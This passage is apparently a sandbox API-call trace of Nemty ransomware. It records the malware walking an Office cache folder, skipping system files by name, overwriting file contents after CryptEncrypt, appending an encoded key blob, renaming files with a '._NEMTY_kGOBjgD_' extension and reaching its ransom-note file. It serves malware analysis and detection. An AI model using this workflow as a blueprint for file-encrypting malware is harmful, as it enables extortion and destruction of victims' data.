returned 1 [0049.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344228 [0049.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442f0 [0049.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344228 | out: hHeap=0x4f90000) returned 1 [0049.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.002] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml._nemty_kgobjgd_")) returned 1 [0049.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442f0 | out: hHeap=0x4f90000) returned 1 [0049.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0049.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0049.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0049.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.003] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2=".") returned 1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="..") returned 1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="...") returned 1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="windows") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="rsa") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="NTDETECT.COM") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="ntldr") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="MSDOS.SYS") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="IO.SYS") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="boot.ini") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="boot.ini") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="AUTOEXEC.BAT") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="ntuser.dat") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="desktop.ini") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="CONFIG.SYS") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="RECYCLER") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="BOOTSECT.BAK") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="bootmgr") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="programdata") returned -1 [0049.003] lstrcmpiW (lpString1="AccLR.cab", lpString2="appdata") returned -1 [0049.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccLR.cab", lpUsedDefaultChar=0x0) returned 9 [0049.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccLR.cab", lpUsedDefaultChar=0x0) returned 9 [0049.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccLR.cab", lpUsedDefaultChar=0x0) returned 9 [0049.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccLR.cab", lpUsedDefaultChar=0x0) returned 9 [0049.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0049.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.004] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2=".") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="..") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="...") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="windows") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="$RECYCLE.BIN") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="rsa") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="NTDETECT.COM") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="ntldr") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="MSDOS.SYS") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="IO.SYS") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="boot.ini") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="boot.ini") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="AUTOEXEC.BAT") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="ntuser.dat") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="desktop.ini") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="CONFIG.SYS") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="RECYCLER") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="BOOTSECT.BAK") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="bootmgr") returned 1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="programdata") returned -1 [0049.004] lstrcmpiW (lpString1="branding.xml", lpString2="appdata") returned 1 [0049.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0049.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0049.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0049.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0049.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0049.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340100 [0049.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0049.005] Sleep (dwMilliseconds=0x5) [0049.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0eaad30, dwHighDateTime=0x1d561e7)) [0049.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0eaad30, dwHighDateTime=0x1d561e7)) [0049.013] GetLastError () returned 0x0 [0049.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.013] GetLastError () returned 0x0 [0049.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.013] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0049.013] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0049.013] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0049.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0049.013] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653ec5c | out: pszString="5o0OPz8VYQURg9crj3Lv6gfLmJXF0O1bXtv12eXlxZ4TlGlRGi+mZnH5ewEVnOyz\r\nQcT++I/Zppdk1W1Ee5v0Ll49LDIboPZAa7xhgo1UqG3K5FHTyit1ZlTfKspCJPp3\r\n9v1Qj7tIuDu39WtBmzQ7Nd99/ptkGvrFBF2/fRfdtsneheSLrC/bzr3BJHKj9BhV\r\n3CCyLAmJy4O15Mfy15XmrP7awXL5EDf3cF1iL7jb8J6hFY/xDO4YZ/x7RiR2vZJ6\r\nCBNRRuhdQJk9jxuhL+bKAm6G3tH3pfktfWy4KW2sAO69YxPNt1VoVVVdfWfL3ZH/\r\nAP2h7e1Yu0lxhDBoJystNA==\r\n", pcchString=0x653ec5c) returned 1 [0049.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340400 [0049.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0049.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0049.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0049.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0049.014] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=596341) returned 1 [0049.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0049.014] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.015] ReadFile (in: hFile=0x3cc, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653eea4*=0x19000, lpOverlapped=0x0) returned 1 [0049.024] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.024] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653ee9c*=0x19000, lpOverlapped=0x0) returned 1 [0049.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.025] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=596341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x91975 [0049.025] WriteFile (in: hFile=0x3cc, lpBuffer=0x6340290*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340290*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0049.026] CloseHandle (hObject=0x3cc) returned 1 [0049.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344160 [0049.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344228 [0049.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442f0 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344228 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.034] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml._nemty_kgobjgd_")) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442f0 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0049.034] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0d7a230, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0d7a230, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d7a230, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0049.034] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0049.034] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0049.035] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0049.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0049.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0049.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 